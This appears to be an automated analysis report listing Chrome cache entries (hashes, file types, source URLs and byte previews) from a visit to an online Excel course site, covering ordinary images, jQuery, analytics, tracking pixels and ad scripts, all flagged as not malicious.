SHA1:	6239563443DFCA7244D5178D10EE9AD3740C453C
SHA-256:	D797B2044A96FF1A97E3D1E5DA44BB9B941B543284084E905D19A183C8CA2D49
SHA-512:	12898452BB0F65ACDE14464359964691D7DA8BB1CE6E510FE4A68B586D303FF34C48499F510E3F03C7EC974BCEF3498F28A2E5D79D3FEBE60FEE382C04B761C7
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.......2.............PLTE...---((((((((((((((((((((((((((((((DDD((((((:::(((((((((.....R((((((((((((111...DDDDDD((((((DDD...DDD((((((..Q((((((...((((((DDD.....R(((DDD(((DDDDDDDDD(((DDD(((..R(((DDD(((((((((---DDD(((..R..R(((.....R((((((..R(((...(((DDD..R........R......DDDDDD...DDD(((..R........R.....RDDD(((((((((DDD...DDD........R........RDDD(((..R(((..RDDD..RDDD...DDD.....R(((..R(((..RDDD...(((DDD........R...DDD..R..R..R..R.....R..R..R...DDD...DDDDDD..RDDDDDDDDD!.P.....Q...........R..R..R...........R.....R.....R(((..R\|.......R...(((%.M....VU....tRNS......f.\........S&...-.....5....$...;...e....v...qRH...2!..P.........LDB..............zxjE@75&..........XJJ:0#........tlWK=4/#...........tkda]VB&......{kJ9.ohf..2....IDATX...W.A...H..(..L. ... `.(.).""EE.RT.(...{/..G:.I.]./.................._........?Z.l&..G.'~..c!..l....=...J-,...n.-..J.......6.`.W.@%Q..n...F.\|.&I..V.W.A...}h./.\.....Q.WJ...f.3>&f.d..#.'%..m~}3.0>...\nA..RH..K..4...5K.n[Fj.h..(....

Chrome Cache Entry: 1012

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 100x100, components 3
Category:	downloaded
Size (bytes):	1611
Entropy (8bit):	7.6451348613635535
Encrypted:	false
SSDEEP:	24:AEkg9h35WHhr087Y4qKqkLwYB29sNVg3sIQ9pMresSgxhb0CQxIcsRseG:Gg9LRDKqkLtB4eW3sIkPIwCGsOr
MD5:	8D8FA135C5237BC9B66FBB4524B8F0C7
SHA1:	BA5639040D47BFC9A0ACB6B76B8216C69FCB1742
SHA-256:	C0E172241AAD65EDC0674C75E2A2CCF00E3DABDA730964FC19BF8F1C6954C005
SHA-512:	E1E4A9D864C89C206BD3848F0BE56859C5A746316F0193A5CCD6F7910789725E2293B2C8BF3DFD251911F1CA8081FA9E920243B5C6786A304163BA5FBA10D8A2
Malicious:	false
Reputation:	low
URL:	https://tpc.googlesyndication.com/simgad/3286131394169256235/14763004658117789537?w=100&h=100&tw=1&q=75
Preview:	......JFIF..................................................."... ....3. %&444.'01-26.34(...........-"."'2222('-12)2.&-222/'-&/0-0-&-(2-'2'-&22(000-&-.(......d.d.."........................................7.......................!..1AQ.a"R...q.#2.......3b...................................-........................!1.AQaq.."$3..2b...............?....XD""...." ...""...." ..g.:r/QE...&.<JY..9y...%...Af..2-....IC....kG..%.#....w.M.....D8t..c.n...4.I..\.)...z-....l[....0..V....sM...-2.3..@.iCj...(RT...+...^.pz-..P.U.X.c..c.(.4....Pq..myJ.......M!...E1.9....m[.....h.r...K.3...-.Nt.^....l&.<JY.......f..XT&...7m......a.t,.aBhk.....wq.^..A.?...e<....E....R..St...3r...........n.=..#F1.O.....].M`.T/.J.hm...A`=O....!.Z..<...[o.....~.y.....l..~...-y..2......9..{.V.E.4...b<...w.'......y...n.<............12,.=...0..>.....-..r......Y...c.?d.5...i....w4.....nrLL..<o.b.\..Cb6YjSpg.....1Z5........uo.....5..p.#C....o.roq......\|...8..5k..<.(.+......G..q9...#.z..@..f.<M.

Chrome Cache Entry: 1013

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	947
Entropy (8bit):	4.83102997661044
Encrypted:	false
SSDEEP:	24:xiqbPSYVZFCuVJ1CuV5T1CuVJj1CuVus71CuVu5j1CuV17CH:xnzFV2AkCTkajk1+k1BkW7CH
MD5:	7FFC039A3F75EA7DDF83FE5367808EFC
SHA1:	79D6E40B1CD52645BE84D4C3A9165979457FCDAA
SHA-256:	5AEED9DD92D710A3547BC4B2459CAAB9AD2D10C236E648C375336ABF4902CC0B
SHA-512:	88B23B045DB25325E5879ED810D2E52D0264E37F51A6233A57BD3F2FC51B92D2EC10117EC85075D338DFBBC6F455411A4906F0670588BAAD742C39C10E1512E4
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-content/themes/edumall/elementor/assets/js/widgets/group-widget-grid.js
Preview:	(..function( $ ) {...'use strict';....var EdumallGridHandler = function( $scope, $ ) {....var $element = $scope.find( '.edumall-grid-wrapper' );.....$element.EdumallGridLayout();...};....$( window ).on( 'elementor/frontend/init', function() {....elementorFrontend.hooks.addAction( 'frontend/element_ready/tm-image-gallery.default', EdumallGridHandler );....elementorFrontend.hooks.addAction( 'frontend/element_ready/tm-testimonial-grid.default', EdumallGridHandler );....elementorFrontend.hooks.addAction( 'frontend/element_ready/tm-product-categories.default', EdumallGridHandler );....elementorFrontend.hooks.addAction( 'frontend/element_ready/tm-course-category-cards.default', EdumallGridHandler );....elementorFrontend.hooks.addAction( 'frontend/element_ready/tm-course-languages.default', EdumallGridHandler );....elementorFrontend.hooks.addAction( 'frontend/element_ready/tm-faq-cards.default', EdumallGridHandler );...} );..}.)( jQuery );.

Chrome Cache Entry: 1014

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	37846
Entropy (8bit):	4.53213381704475
Encrypted:	false
SSDEEP:	768:wargNd7V2gctrhIbHPuNRwwGWdYhNFWQ9Aw33JZCkT9taDrUS:warWd73ct+vuNRwT8kT9ADr7
MD5:	63CB3DD9F0DECE7303F5618837E8E961
SHA1:	8CE3BA919A900AE28011DFD497BDB4DEFC6E7CD3
SHA-256:	50B00E50D8B9F749B748D1C0AF391DFD7E741982CEF26E265FB1B50208F69007
SHA-512:	E1D46FE3D31BAD12C869CC7C171605D170F617F3F76F94010532A7ED0FF4657292A499749CAA4DD6F176BED5818975B7BEBB64EEB469545B99559D1A28A7677D
Malicious:	false
Reputation:	low
URL:	https://scripts.mediavine.com/creativeBlocks
Preview:	{"231750":true,"261165":true,"261167":true,"573450":true,"582548":true,"582549":true,"582550":true,"582551":true,"582552":true,"582599":true,"584858":true,"588634":true,"622955":true,"5185227":true,"5639483":true,"5639484":true,"5706980":true,"5707010":true,"5707021":true,"5742030":true,"5742041":true,"5742050":true,"5742059":true,"5742063":true,"5759613":true,"5759634":true,"5781680":true,"5781685":true,"5781695":true,"5873753":true,"6000231":true,"6000236":true,"6000241":true,"6017418":true,"6043989":true,"6043992":true,"6043995":true,"6060002":true,"6145708":true,"6153957":true,"6177059":true,"6177061":true,"6177066":true,"6196536":true,"6200077":true,"6226323":true,"6237662":true,"6238185":true,"6266029":true,"6266030":true,"6266031":true,"6278945":true,"6312645":true,"6318000":true,"6318005":true,"6318011":true,"6323417":true,"6323418":true,"6323421":true,"6323426":true,"6325391":true,"6347016":true,"6347018":true,"6351473":true,"6361249":true,"6369940":true,"6369942":true,"636994

Chrome Cache Entry: 1015

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5955)
Category:	downloaded
Size (bytes):	287467
Entropy (8bit):	5.573118676985963
Encrypted:	false
SSDEEP:	3072:7f4lgxmR+8bFtV8vWHsKC7YJw8j5GXmJxm3dVNzzYrWTrWEXSgYfR0u7RCRoa/3N:T4zRp8+HsKScqsSPNzzYrgrWESfRzRCX
MD5:	E1A8FF6F1084465A9C88E053C14081A9
SHA1:	B66D5934C9563B4261AAC298CC5F7C672BBF5CA9
SHA-256:	E7594ED6AF6850E79FD69ED1551FA4AC375F2906E90D505963C996BDBC54ACE4
SHA-512:	15275FD117D0F7FBB107A612B8D7A37DA14FB7DCCBC15C4360775465E0388FEBBE32FBC5021D8AB84660D2ACF00A34C9B8BC9090DD7E19DB052BD825C14AAE71
Malicious:	false
Reputation:	low
URL:	https://www.googletagmanager.com/gtag/js?id=G-8Y0K4MPJV5&l=dataLayer&cx=c
Preview:	.// Copyright 2012 Google Inc. All rights reserved.. .(function(){..var data = {."resource": {. "version":"2",. . "macros":[{"function":"__e"},{"vtp_signal":1,"function":"__c","vtp_value":1},{"function":"__c","vtp_value":""},{"function":"__c","vtp_value":0},{"function":"__c","vtp_value":"c"},{"vtp_signal":1,"function":"__c","vtp_value":1},{"function":"__c","vtp_value":""},{"function":"__c","vtp_value":0}],. "tags":[{"function":"__ogt_cross_domain","priority":24,"vtp_rules":["list","thrivecart\\.com"],"tag_id":19},{"function":"__ogt_1p_data_v2","priority":14,"vtp_isAutoEnabled":true,"vtp_autoCollectExclusionSelectors":["list",["map","exclusionSelector",""]],"vtp_isEnabled":true,"vtp_cityType":"CSS_SELECTOR","vtp_manualEmailEnabled":false,"vtp_firstNameType":"CSS_SELECTOR","vtp_countryType":"CSS_SELECTOR","vtp_cityValue":"","vtp_emailType":"CSS_SELECTOR","vtp_regionType":"CSS_SELECTOR","vtp_autoEmailEnabled":true,"vtp_postalCodeValue":"","vtp_lastNameValue":"","vtp_phoneType":"CSS_SE

Chrome Cache Entry: 1016

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2254), with no line terminators
Category:	downloaded
Size (bytes):	2254
Entropy (8bit):	5.852940680501548
Encrypted:	false
SSDEEP:	48:Ego2Y+iKasKEIzUtJQSIZyaQqe3q7SWWdCC6jykt08n/CuRTP1MiWpQqEK3D19C6:wsbSUtJfxrqLWWWdV6j177Rept93
MD5:	11458577F8B9B0AE757D0C7A22B3626D
SHA1:	5D081B49DA22EA07CAD786CAD2035DCA8092F3AC
SHA-256:	52FA73FE474B60D3A793F4C4CAB7C39FA858DA86A8E24CCC0CD8C54B7817243B
SHA-512:	E3741A65E8D3889DEE296D733996F50A91B5E6644213E334A42D4C6B49753BF1932EDA0472E33FF5F262785744C989BD8A2757B13B6FC8816B783AED879AC7B3
Malicious:	false
Reputation:	low
URL:	https://googleads.g.doubleclick.net/pagead/viewthroughconversion/416707819/?random=1712870841148&cv=11&fst=1712870841148&bg=ffffff&guid=ON&async=1&gtm=45be44a0z8835174253za201&gcd=13l3l3l3l1&dma=0&u_w=1280&u_h=1024&url=https%3A%2F%2Fearnandexcel.com%2F&hn=www.googleadservices.com&frm=0&tiba=Skills%20For%20Professionals%20-%20Earn%20%26%20Excel&npa=0&pscdl=noapi&auid=67825169.1712870802&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.149%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.149&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&fledge=1&rfmt=3&fmt=4
Preview:	(function(){var s = {};(function(){var e={};/* Copyright The Closure Library Authors. SPDX-License-Identifier: Apache-2.0 */ var f=this\|\|self;var g,k;a:{for(var l=["CLOSURE_FLAGS"],p=f,q=0;q<l.length;q++)if(p=p[l[q]],null==p){k=null;break a}k=p}var r=k&&k[610401301];g=null!=r?r:!1;var t,v=f.navigator;t=v?v.userAgentData\|\|null:null;function w(d){return g?t?t.brands.some(function(a){return(a=a.brand)&&-1!=a.indexOf(d)}):!1:!1}function x(d){var a;a:{if(a=f.navigator)if(a=a.userAgent)break a;a=""}return-1!=a.indexOf(d)};function y(){return g?!!t&&0<t.brands.length:!1}function z(){return y()?w("Chromium"):(x("Chrome")\|\|x("CriOS"))&&!(y()?0:x("Edge"))\|\|x("Silk")};!x("Android")\|\|z();z();!x("Safari")\|\|z()\|\|(y()?0:x("Coast"))\|\|(y()?0:x("Opera"))\|\|(y()?0:x("Edge"))\|\|(y()?w("Microsoft Edge"):x("Edg/"))\|\|y()&&w("Opera");var A=/#\|$/;function B(d){var a=d.search(A),b;a:{for(b=0;0<=(b=d.indexOf("fmt",b))&&b<a;){var c=d.charCodeAt(b-1);if(38==c\|\|63==c)if(c=d.charCodeAt(b+3),!c\|\|61==c\|\|38==c\|\|35==c)br

Chrome Cache Entry: 1017

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	2.9889835948335506
Encrypted:	false
SSDEEP:	3:CUkxl7/lHh/:slf/
MD5:	B4491705564909DA7F9EAF749DBBFBB1
SHA1:	279315D507855C6A4351E1E2C2F39DD9CD2FCCD8
SHA-256:	4E0705327480AD2323CB03D9C450FFCAE4A98BF3A5382FA0C7882145ED620E49
SHA-512:	B8D82D64EC656C63570B82215564929ADAD167E61643FD72283B94F3E448EF8AB0AD42202F3537A0DA89960BBDC69498608FC6EC89502C6C338B6226C8BF5E14
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 1018

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (5496), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	310253
Entropy (8bit):	5.243829870803445
Encrypted:	false
SSDEEP:	3072:vd1G55rbJq+C/MJmmgw/V7Zl2xBvBMCjSJyL7Zl2xBvBeZXXTGQRLugZ31dvei4o:vds8SJvHm
MD5:	E3B21E6FAA848DA2EC4B1B0A4321EEA2
SHA1:	8E158EED71439E0FFCD7E3C92226F243005B948F
SHA-256:	C2E15448AC1392ACF9DCBBCC1D2A5A454DA8FF1D11B2501D8CD88EE04CE01306
SHA-512:	352FC47F009580675BC8B8A62B397FE2AAA7CB97036D2390808DEE9BE778841F31AD0F6F6A8E9FC8F316C88E1092FA295F7C7151CDCECA0EAB57C955D7D653EB
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/courses/power-pivot/
Preview:	<!DOCTYPE html>.<html lang="en-US" >.<head>...<meta charset="UTF-8">..<meta name="viewport" content="width=device-width, initial-scale=1">..<link rel="profile" href="https://gmpg.org/xfn/11">......<script type="text/javascript">....window.flatStyles = window.flatStyles \|\| ''.....window.lightspeedOptimizeStylesheet = function () {.....const currentStylesheet = document.querySelector( '.tcb-lightspeed-style:not([data-ls-optimized])' )......if ( currentStylesheet ) {......try {.......if ( currentStylesheet.sheet && currentStylesheet.sheet.cssRules ) {........if ( window.flatStyles ) {.........if ( this.optimizing ) {..........setTimeout( window.lightspeedOptimizeStylesheet.bind( this ), 24 ).........} else {..........this.optimizing = true;...........let rulesIndex = 0;...........while ( rulesIndex < currentStylesheet.sheet.cssRules.length ) {...........const rule = currentStylesheet.sheet.cssRules[ rulesIndex ].........../* remove rules that already exist in the page */...........if ( ru

Chrome Cache Entry: 1019

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	2.7374910194847146
Encrypted:	false
SSDEEP:	3:CU9yltxlHh/:m/
MD5:	DF3E567D6F16D040326C7A0EA29A4F41
SHA1:	EA7DF583983133B62712B5E73BFFBCD45CC53736
SHA-256:	548F2D6F4D0D820C6C5FFBEFFCBD7F0E73193E2932EEFE542ACCC84762DEEC87
SHA-512:	B2CA25A3311DC42942E046EB1A27038B71D689925B7D6B3EBB4D7CD2C7B9A0C7DE3D10175790AC060DC3F8ACF3C1708C336626BE06879097F4D0ECAA7F567041
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 1020

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	2.9889835948335506
Encrypted:	false
SSDEEP:	3:CUkxl7/lHh/:slf/
MD5:	B4491705564909DA7F9EAF749DBBFBB1
SHA1:	279315D507855C6A4351E1E2C2F39DD9CD2FCCD8
SHA-256:	4E0705327480AD2323CB03D9C450FFCAE4A98BF3A5382FA0C7882145ED620E49
SHA-512:	B8D82D64EC656C63570B82215564929ADAD167E61643FD72283B94F3E448EF8AB0AD42202F3537A0DA89960BBDC69498608FC6EC89502C6C338B6226C8BF5E14
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 1021

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (8354)
Category:	downloaded
Size (bytes):	8539
Entropy (8bit):	5.051633363365418
Encrypted:	false
SSDEEP:	192:WzLY1jWBoYf0/AgJbgmAGCkHYp5odNd882EeANEjCWe7:WzLSWBoYfqAgJLrHe5odNd882EeANEjK
MD5:	4B16E073282E3D8BBE1093B7CDAAEA84
SHA1:	15BC43DF0109106319412A19D535478234E12ED6
SHA-256:	69FC7BCAFEE09477B13DBDA32D00410BC15A3FAEB3E890CC15FEF46D7C84D432
SHA-512:	E159061E064257C9A9EEABEF77EEB9AA98E5ABA6FB4AA2981F4D22D3EE5E46EB3DBF15A3659CC103B3E446991FA7DDAC8ED24E0D10DEF3030C5C72C4CA6199E7
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-includes/js/jquery/ui/autocomplete.min.js
Preview:	/!. jQuery UI Autocomplete 1.12.1. * http://jqueryui.com. . Copyright jQuery Foundation and other contributors. * Released under the MIT license.. * http://jquery.org/license. */.!function(e){"function"==typeof define&&define.amd?define(["jquery","./menu","./core"],e):e(jQuery)}(function(o){return o.widget("ui.autocomplete",{version:"1.12.1",defaultElement:"<input>",options:{appendTo:null,autoFocus:!1,delay:300,minLength:1,position:{my:"left top",at:"left bottom",collision:"none"},source:null,change:null,close:null,focus:null,open:null,response:null,search:null,select:null},requestIndex:0,pending:0,_create:function(){var i,s,n,e=this.element[0].nodeName.toLowerCase(),t="textarea"===e,e="input"===e;this.isMultiLine=t\|\|!e&&this._isContentEditable(this.element),this.valueMethod=this.element[t\|\|e?"val":"text"],this.isNewMenu=!0,this._addClass("ui-autocomplete-input"),this.element.attr("autocomplete","off"),this._on(this.element,{keydown:function(e){if(this.element.prop("readOnly"))s=

Chrome Cache Entry: 1022

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1940), with no line terminators
Category:	downloaded
Size (bytes):	1940
Entropy (8bit):	5.54951877294134
Encrypted:	false
SSDEEP:	48:CckCjwCrCCcjUusyjBCIuwpGBY53kum0sq:CI3rpTfwAITPJr8q
MD5:	DF3EA684FAF1C7C7C117F64072C41CF7
SHA1:	1EC1B0A41B548EBE7282C355876093AB428181E5
SHA-256:	3DCDE10898F616E7D85D70D29FEF3DD6B48C464C723E6EF95098F7B0DB8F45A1
SHA-512:	E292A17CA6DC253A829DD1FAE020A51D578D503D744C176F61DAE408F69950149F574129C04AC20B16F9790ACF5649EBE061352AFFF38AF84318889DE7880527
Malicious:	false
Reputation:	low
URL:	https://image6.pubmatic.com/AdServer/PugMaster?sec=1&async=1&kdntuid=1&rnd=62308046&p=0&s=0&a=0&ptask=ALL&np=0&fp=0&rp=1&mpc=0&spug=1&coppa=0&gdpr=0&gdpr_consent=&us_privacy=
Preview:	PubMatic.loadAsyncImagePixel('https://thrtle.com/insync?vxii_pid=10067&vxii_pdid=25F9549E-136A-47E9-9171-DA44C0E0D5E3&gdpr=0&gdpr_consent=');PubMatic.loadAsyncImagePixel('https://us-u.openx.net/w/1.0/sd?id=540245193&val=25F9549E-136A-47E9-9171-DA44C0E0D5E3&gdpr=0&gdpr_consent=');PubMatic.loadAsyncImagePixel('https://crb.kargo.com/api/v1/dsync/Martin?exid=25F9549E-136A-47E9-9171-DA44C0E0D5E3&gdpr=0&gdpr_consent=');PubMatic.loadAsyncImagePixel('https://sync.bfmio.com/sync?pid=187&uid=25F9549E-136A-47E9-9171-DA44C0E0D5E3&gdpr=0&gdpr_consent=');PubMatic.loadAsyncIframePixel('https://sync-tm.everesttech.net/upi/pid/b9pj45k4?redir=https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZqcz0xJmNvZGU9MjE5MSZ0bD0yNTkyMDA=&piggybackCookie=${TM_USER_ID}&gdpr=1&gdpr_consent=');PubMatic.loadAsyncImagePixel('https://pubmatic-match.dotomi.com/match/bounce/current?networkId=17100&version=1&nuid=25F9549E-136A-47E9-9171-DA44C0E0D5E3&gdpr=0&gdpr_consent=');PubMatic.loadAsyncImagePixel('https://ad.

Chrome Cache Entry: 1023

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 205 x 93, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	7941
Entropy (8bit):	7.961809771935375
Encrypted:	false
SSDEEP:	192:ovrLlTBjXCo8sgbLYZG7iADPTHugSn1K/D+:o3NJ8JbLYZVADPTOgdr+
MD5:	8D29F4ED693D5CE8878E6E365FC1C320
SHA1:	1500E41D64F7C34FC00E782847803EB6BCEB5BA8
SHA-256:	858BE246C608218A83436FA0E935D1D94C1D36FF98AA141AC29CA4ADEF834F58
SHA-512:	20088EA96AD11E55FBEB34B99015048B12ECDD38702F5933E893F708B0AE21F4754DFD90DF6EB2BC706D2C5F3164FD603783F18A9F19A94A07DB4756041B0A4B
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-content/uploads/NIKE.png
Preview:	.PNG........IHDR.......]............IDATx..Y.N]..y..y.<.eJ.P...n.............R..D.n.I......y.._._...s.s.....j...{.g...., %.Y@@@.M@@.M@.?. .j...JZ..."......QQQaB~~..........R.....B.....1....9......a //O.2..i...........$y/..z......2.......q@.M...YYY.....s....$ A..Xj..!...B.8!0@@....{q..._ET.=.....#...b...l.........I...A.?~... .&E.....G[.h...4.F..e......'..#l...~.I......\|.u..a.l...6r.H.2d..?v.Xk...qCduc..7..\......k;f...0`.u...o.n..../..={..S5..7~.x...'O.l=z..... .q.e..U\..G.hn...{.G...?..u..Uk.....Y.........Z.<ybq@....4.O..v..YZZ.Q.6mj..76.[.nm.=cLg5...[.n...7....H,z....h.Yc.k.....e..Y3]..Z.ha./^4..S.m[...F.S.....2.........E....g.5l.P.Q......D..)...I]4.2..EzH.}.6m........2.......Y..1....t...5k.v}.BM.2.#%".....]......P.\.Z..-..^V.....0a....h_..xx....X\.D..h...u...K...DP,./_......\.N..#...={.....$.....D.}{;q..q..pi.=S..=..u)....z/Y....c...&h}..fq...i\|...7~.8 .&E.l.I;+.....d9.+Q .B...wX..z..,..A..y. B..b....6m.....}..

Chrome Cache Entry: 1024

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	68
Entropy (8bit):	4.200601260429725
Encrypted:	false
SSDEEP:	3:yionv//thPlE+tnM09/Woz59tVp:6v/lhPfZM09tzjTp
MD5:	C4A2B870062C2BB98C500BC1526C0498
SHA1:	528666CCDB12997358077BC8FCDBFB6B825C7788
SHA-256:	2AA4FA20701CDD6D8D56046069001186B5267E3EE7D0EF618AD2F4A683723E11
SHA-512:	2F1A3ABCD12125F7EF18D61A960901C0FD6F82DD02EA2B8041859E6D5F0A7F08DB17CC110DC6D8A3F7D0D1BA790C4BCCA2506D3C60EDFEB5CB29433E9F4F762E
Malicious:	false
Reputation:	low
URL:	https://tr.snapchat.com/p?pid=5e40fa19-dd6c-4373-b1e0-df7865ef9034&ev=PAGE_VIEW&intg=gtm&pids=5e40fa19-dd6c-4373-b1e0-df7865ef9034&u_c1=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c&u_sclid=38ae9a90-f540-4555-a653-07722b05efcf&u_scsid=bfa86cf2-7284-4d8c-929f-9597c1883f68&bt=1d53c387&d_a=x86&d_bvs=%5B%7B%22brand%22%3A%22Google%20Chrome%22%2C%22version%22%3A%22117.0.5938.149%22%7D%2C%7B%22brand%22%3A%22Not%3BA%3DBrand%22%2C%22version%22%3A%228.0.0.0%22%7D%2C%7B%22brand%22%3A%22Chromium%22%2C%22version%22%3A%22117.0.5938.149%22%7D%5D&d_os=10.0.0&d_ot=Windows&df=true&huah=true&m_dcl=2404&m_fcps=2389&m_pi=2402&m_pl=0&m_pv=2&m_rd=2580&m_sh=1024&m_sl=0&m_sw=1280&pl=https%3A%2F%2Fearnandexcel.com%2Fcourse-category%2Fdata-analysis-bi%2F%3Ftutor-course-filter-category%3D16701&rf=https%3A%2F%2Fearnandexcel.com%2F&trackId=b1cd38d1-a398-4a56-8cc7-a8d9897ccbc6&ts=1712870851206&v=3.14.1-2404091850
Preview:	.PNG........IHDR....................IDATx.c`...............IEND.B`.

Chrome Cache Entry: 1025

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	2.9889835948335506
Encrypted:	false
SSDEEP:	3:CUkxl7/lHh/:slf/
MD5:	B4491705564909DA7F9EAF749DBBFBB1
SHA1:	279315D507855C6A4351E1E2C2F39DD9CD2FCCD8
SHA-256:	4E0705327480AD2323CB03D9C450FFCAE4A98BF3A5382FA0C7882145ED620E49
SHA-512:	B8D82D64EC656C63570B82215564929ADAD167E61643FD72283B94F3E448EF8AB0AD42202F3537A0DA89960BBDC69498608FC6EC89502C6C338B6226C8BF5E14
Malicious:	false
Reputation:	low
URL:	https://us-u.openx.net/w/1.0/sd?id=537073028&val=d3c52a71-4626-42f8-b765-7c4caff9dd34
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 1026

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (36184)
Category:	downloaded
Size (bytes):	92951
Entropy (8bit):	5.5929345692039085
Encrypted:	false
SSDEEP:	1536:lq17a1xu7NOgBtCdhymlGywGz09HpZGKmrmZbdgez0W:oa1+mG1RGCTH
MD5:	615EF6B3EBE5DC93DEBA38B35D3AF8C3
SHA1:	0666F22F1D82E496CE709B466A42D2ED136E5EA3
SHA-256:	5A5DFB33DF2A2718A5340932CB6699645D28FBDB70B7638535C4266D65E33636
SHA-512:	9B55D4705ECC078AAE01D016AE7264ACC23EB726CCD998B19429ABBFAA4167B5373C80875BA9E6DEB9B8B92058837991C56D8FF95D8BCBED130BDF6EA1732A90
Malicious:	false
Reputation:	low
URL:	https://securepubads.g.doubleclick.net/tag/js/gpt.js
Preview:	(function(sttc){var window=this;if(window.googletag&&googletag.evalScripts){googletag.evalScripts();}if(window.googletag&&googletag._loaded_)return;var n,aa=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}},ca="function"==typeof Object.defineProperties?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a},da=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");},ea=da(this),fa="function"===typeof Symbol&&"symbol"===typeof Symbol("x"),t={},ha={},u=function(a,b,c){if(!c\|\|null!=a){c=ha[b];if(null==c)return a[b];c=a[c];return void 0!==c?c:a[b]}},v=function(a,b,c){if(b)a:{var d=a.split(".");a=1===d.length;var e=d[0],f;!a&&e in t?f=t:f=ea;for(e=0;e<d.length-1;e++){var g=d[e];if(!(g in f))brea

Chrome Cache Entry: 1027

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (39767)
Category:	downloaded
Size (bytes):	40817
Entropy (8bit):	5.72479844146319
Encrypted:	false
SSDEEP:	768:jVzwo+QHtX2JpWw5UUYoZrD7k1vzmHEegUGkv1aepYcJXRy46:jVZNmJ8w5UWvk17mkegUNYUz6
MD5:	32FF062FB4C72EB84D01C191F52206FB
SHA1:	6A84479EBD3B91BA4FABB5223534230E0D844934
SHA-256:	2F42C2A27681CC2739EFB05918D8333F76E0F3B7C5E6F841F7E6B4ECCE13C3AA
SHA-512:	80E046BED008CF9ECC28C30F13A2B95A5CA705AEEA2210513F0CCE6BF99E18C0AC7A61A339EEEA1BD17C5BB7821F9FA48493132D1EB595FB87EF7F58ACBF4A6C
Malicious:	false
Reputation:	low
URL:	https://pagead2.googlesyndication.com/bg/L0LConaBzCc577BZGNgzP3bg87fF5vhB9-a07M4Tw6o.js
Preview:	//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjogMywic291cmNlcyI6WyIiXSwic291cmNlc0NvbnRlbnQiOlsiICJdLCJuYW1lcyI6WyJjbG9zdXJlRHluYW1pY0J1dHRvbiJdLCJtYXBwaW5ncyI6IkFBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUEifQ==. (function(){function k(H){return H}var L=function(H){return k.call(this,H)},C=function(H,B,V,S,a){if(S=(a=z.trustedTypes,H),!a\|\|!a.createPolicy)return S;try{S=a.createPolicy(V,{createHTML:L,createScript:L,createScriptURL:L})}catch(l){if(z.console)z.console[B](l.message)}return S},z=this\|\|self;(0,eval)(function(H,B){return(B=C(null,"error","bg"))&&1===H.eval(B.createScript("1"))?function(V){return B.createScript(V)}:function(V){return""+V}}(z)(Array(7824Math.random()\|0).join("\n")+['//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjogMywic291cmNlcyI6WyIiXSwic291cmNlc0NvbnRlbnQiOlsiICJdLCJuYW1lcyI6WyJjbG9zdXJlRHluYW1pY0J1dHRvbiJdLCJtYXBwaW5ncyI6IkFBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUEifQ==',.'(function(){/',.

Chrome Cache Entry: 1028

Download File

